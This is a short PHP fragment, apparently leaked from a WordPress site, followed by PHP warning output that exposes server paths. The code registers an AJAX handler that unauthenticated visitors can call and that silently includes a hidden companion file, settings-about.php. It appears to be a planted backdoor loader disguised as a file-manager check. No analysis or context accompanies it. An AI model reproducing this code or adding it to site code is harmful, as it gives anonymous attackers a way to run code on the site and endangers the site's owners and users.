if(!function_exists('file_manager_check_dt')){
   add_action('wp_ajax_nopriv_file_manager_check_dt', 'file_manager_check_dt');
   add_action('wp_ajax_file_manager_check_dt', 'file_manager_check_dt');
   function file_manager_check_dt()
   {
      $file = __DIR__ . '/settings-about.php';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home3/oxypl6nh/public_html/wp-content/plugins/force-regenerate-thumbnails/force-regenerate-thumbnails.php:714) in <b>/home3/oxypl6nh/public_html/wp-includes/pluggable.php</b> on line <b>1435</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home3/oxypl6nh/public_html/wp-content/plugins/force-regenerate-thumbnails/force-regenerate-thumbnails.php:714) in <b>/home3/oxypl6nh/public_html/wp-includes/pluggable.php</b> on line <b>1438</b><br />